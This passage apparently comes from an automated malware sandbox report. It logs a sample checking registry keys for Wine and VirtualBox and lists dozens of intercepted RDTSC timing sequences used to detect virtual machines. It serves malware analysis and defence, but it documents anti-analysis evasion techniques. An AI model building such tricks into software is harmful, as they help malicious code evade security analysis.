Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122F976 second address: 122F97D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139F303 second address: 139F309 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139F309 second address: 139F311 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139F311 second address: 139F377 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7650B5E948h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F7650B5E941h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pushad 0x00000013 push edi 0x00000014 pop edi 0x00000015 jmp 00007F7650B5E943h 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d pop edx 0x0000001e pop eax 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F7650B5E948h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139F377 second address: 139F38D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7650B5D3DDh 0x00000008 pushad 0x00000009 popad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A35F8 second address: 13A3604 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A3604 second address: 13A360E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F7650B5D3D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A360E second address: 13A3631 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jnc 00007F7650B5E936h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F7650B5E941h 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A38BF second address: 13A3909 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F7650B5D3E5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jno 00007F7650B5D3D8h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F7650B5D3E9h 0x00000018 jmp 00007F7650B5D3DCh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A3909 second address: 13A390F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A390F second address: 13A391F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007F7650B5D3D6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A391F second address: 13A3923 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A3BD8 second address: 13A3BE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A3EB3 second address: 13A3EB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A3EB7 second address: 13A3EC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F7650B5D3D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A7989 second address: 13A79A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F7650B5E936h 0x0000000a popad 0x0000000b pop edi 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F7650B5E93Ah 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A79A6 second address: 13A79C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7650B5D3E6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A79C0 second address: 13A7A05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov dword ptr [ebp+124492E0h], esi 0x0000000f push 00000000h 0x00000011 mov esi, dword ptr [ebp+122D2C2Ah] 0x00000017 jnl 00007F7650B5E93Ch 0x0000001d call 00007F7650B5E939h 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 jmp 00007F7650B5E945h 0x0000002a pop eax 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A7A05 second address: 13A7A24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5D3E0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007F7650B5D3D6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A7A24 second address: 13A7A38 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5E940h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A7A38 second address: 13A7A73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jng 00007F7650B5D3D6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jmp 00007F7650B5D3E5h 0x00000017 mov eax, dword ptr [eax] 0x00000019 push eax 0x0000001a push edx 0x0000001b push ebx 0x0000001c jmp 00007F7650B5D3DEh 0x00000021 pop ebx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A7A73 second address: 13A7A7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F7650B5E936h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A7A7D second address: 13A7B01 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7650B5D3D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 jbe 00007F7650B5D3DAh 0x00000016 pop eax 0x00000017 push 00000003h 0x00000019 push 00000000h 0x0000001b push esi 0x0000001c call 00007F7650B5D3D8h 0x00000021 pop esi 0x00000022 mov dword ptr [esp+04h], esi 0x00000026 add dword ptr [esp+04h], 00000018h 0x0000002e inc esi 0x0000002f push esi 0x00000030 ret 0x00000031 pop esi 0x00000032 ret 0x00000033 push 00000000h 0x00000035 jno 00007F7650B5D3D9h 0x0000003b push 00000003h 0x0000003d mov ch, 30h 0x0000003f call 00007F7650B5D3D9h 0x00000044 jbe 00007F7650B5D3E1h 0x0000004a jmp 00007F7650B5D3DBh 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007F7650B5D3E2h 0x00000056 pop edx 0x00000057 mov eax, dword ptr [esp+04h] 0x0000005b push eax 0x0000005c push edx 0x0000005d push esi 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A7B01 second address: 13A7B06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A7B06 second address: 13A7BA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jo 00007F7650B5D3D6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [eax] 0x00000010 push eax 0x00000011 pushad 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 jmp 00007F7650B5D3E6h 0x00000019 popad 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f jmp 00007F7650B5D3E9h 0x00000024 pop eax 0x00000025 mov ecx, dword ptr [ebp+122D2C9Bh] 0x0000002b lea ebx, dword ptr [ebp+1244B836h] 0x00000031 push 00000000h 0x00000033 push ebx 0x00000034 call 00007F7650B5D3D8h 0x00000039 pop ebx 0x0000003a mov dword ptr [esp+04h], ebx 0x0000003e add dword ptr [esp+04h], 0000001Dh 0x00000046 inc ebx 0x00000047 push ebx 0x00000048 ret 0x00000049 pop ebx 0x0000004a ret 0x0000004b or edi, dword ptr [ebp+122D3838h] 0x00000051 xchg eax, ebx 0x00000052 jmp 00007F7650B5D3E4h 0x00000057 push eax 0x00000058 push eax 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c pushad 0x0000005d popad 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A7BA3 second address: 13A7BB4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5E93Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A7CD3 second address: 13A7D4D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+122D35D4h] 0x0000000e push 00000003h 0x00000010 mov esi, dword ptr [ebp+122D2980h] 0x00000016 push 00000000h 0x00000018 mov ch, 9Ah 0x0000001a push 00000003h 0x0000001c push 00000000h 0x0000001e push edx 0x0000001f call 00007F7650B5D3D8h 0x00000024 pop edx 0x00000025 mov dword ptr [esp+04h], edx 0x00000029 add dword ptr [esp+04h], 00000015h 0x00000031 inc edx 0x00000032 push edx 0x00000033 ret 0x00000034 pop edx 0x00000035 ret 0x00000036 cmc 0x00000037 call 00007F7650B5D3D9h 0x0000003c push ecx 0x0000003d pushad 0x0000003e jmp 00007F7650B5D3E0h 0x00000043 jmp 00007F7650B5D3E4h 0x00000048 popad 0x00000049 pop ecx 0x0000004a push eax 0x0000004b jnc 00007F7650B5D3F5h 0x00000051 push eax 0x00000052 push edx 0x00000053 jng 00007F7650B5D3D6h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A7D4D second address: 13A7DA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5E943h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push ecx 0x0000000e jmp 00007F7650B5E93Eh 0x00000013 pop ecx 0x00000014 mov eax, dword ptr [eax] 0x00000016 jne 00007F7650B5E94Dh 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 push edi 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A7DA0 second address: 13A7DA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A7E89 second address: 13A7E8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A7E8E second address: 13A7EF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xor dword ptr [esp], 5D1CD6D6h 0x0000000e xor dl, 0000005Ah 0x00000011 push 00000003h 0x00000013 push 00000000h 0x00000015 push ebp 0x00000016 call 00007F7650B5D3D8h 0x0000001b pop ebp 0x0000001c mov dword ptr [esp+04h], ebp 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc ebp 0x00000029 push ebp 0x0000002a ret 0x0000002b pop ebp 0x0000002c ret 0x0000002d mov dword ptr [ebp+122D2091h], esi 0x00000033 mov cl, DAh 0x00000035 push 00000000h 0x00000037 ja 00007F7650B5D3D9h 0x0000003d push 00000003h 0x0000003f movzx esi, dx 0x00000042 mov edx, dword ptr [ebp+122D2593h] 0x00000048 call 00007F7650B5D3D9h 0x0000004d push edx 0x0000004e push eax 0x0000004f pushad 0x00000050 popad 0x00000051 pop eax 0x00000052 pop edx 0x00000053 push eax 0x00000054 jo 00007F7650B5D3EEh 0x0000005a push eax 0x0000005b push edx 0x0000005c pushad 0x0000005d popad 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A7EF9 second address: 13A7F31 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5E940h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007F7650B5E948h 0x00000012 mov eax, dword ptr [eax] 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A7F31 second address: 13A7F37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A7F37 second address: 13A7F48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7650B5E93Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A7F48 second address: 13A7F4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A7F4C second address: 13A7FA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c jmp 00007F7650B5E948h 0x00000011 pop eax 0x00000012 jmp 00007F7650B5E943h 0x00000017 sub dword ptr [ebp+122D1B49h], ecx 0x0000001d lea ebx, dword ptr [ebp+1244B84Ah] 0x00000023 xor dword ptr [ebp+122D28D8h], edx 0x00000029 xchg eax, ebx 0x0000002a je 00007F7650B5E940h 0x00000030 pushad 0x00000031 pushad 0x00000032 popad 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B9701 second address: 13B9706 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C6994 second address: 13C69A9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F7650B5E93Bh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C69A9 second address: 13C69AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C69AD second address: 13C69B9 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F7650B5E936h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C69B9 second address: 13C69C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jne 00007F7650B5D3D6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C6F00 second address: 13C6F06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C6F06 second address: 13C6F22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jmp 00007F7650B5D3E5h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C6F22 second address: 13C6F28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C6F28 second address: 13C6F6A instructions: 0x00000000 rdtsc 0x00000002 jg 00007F7650B5D3D6h 0x00000008 jo 00007F7650B5D3D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jg 00007F7650B5D3DAh 0x00000016 push edx 0x00000017 pop edx 0x00000018 pushad 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F7650B5D3DEh 0x00000023 jne 00007F7650B5D3E6h 0x00000029 jmp 00007F7650B5D3DEh 0x0000002e push eax 0x0000002f pop eax 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C73CC second address: 13C73D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F7650B5E936h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C73D7 second address: 13C73DE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C77C3 second address: 13C77C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C77C9 second address: 13C77CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C7AA8 second address: 13C7ABA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5E93Dh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C8259 second address: 13C828B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5D3DBh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jg 00007F7650B5D3F1h 0x00000011 jns 00007F7650B5D3D6h 0x00000017 jmp 00007F7650B5D3E5h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C83D7 second address: 13C83DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C83DB second address: 13C841F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F7650B5D3D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jo 00007F7650B5D3DEh 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 jbe 00007F7650B5D3D6h 0x0000001a jmp 00007F7650B5D3E1h 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 jo 00007F7650B5D3E6h 0x00000028 push edi 0x00000029 pop edi 0x0000002a jmp 00007F7650B5D3DEh 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C841F second address: 13C843D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7650B5E944h 0x00000009 jg 00007F7650B5E936h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C85C4 second address: 13C85D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C88A1 second address: 13C88C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push esi 0x00000009 pop esi 0x0000000a popad 0x0000000b pop eax 0x0000000c jo 00007F7650B5E954h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F7650B5E940h 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C88C7 second address: 13C88CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CA9EE second address: 13CA9F9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C97BC second address: 13C97D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F7650B5D3D6h 0x0000000a popad 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e push edi 0x0000000f pop edi 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C97D4 second address: 13C97D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C9F74 second address: 13C9F7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D2DE4 second address: 13D2DEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D2DEC second address: 13D2DF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F7650B5D3DCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1391CF7 second address: 1391CFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1391CFD second address: 1391D09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F7650B5D3D6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1391D09 second address: 1391D23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5E93Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jc 00007F7650B5E94Ah 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D223F second address: 13D2252 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7650B5D3DFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D2252 second address: 13D2258 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D2C65 second address: 13D2CAE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5D3DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jp 00007F7650B5D3E9h 0x0000000f pop edi 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F7650B5D3E9h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D2CAE second address: 13D2CC4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5E93Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D2CC4 second address: 13D2CD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F7650B5D3D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D5941 second address: 13D5945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D5945 second address: 13D5955 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F7650B5D3D6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D5955 second address: 13D5959 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D6014 second address: 13D601A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D6317 second address: 13D631C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
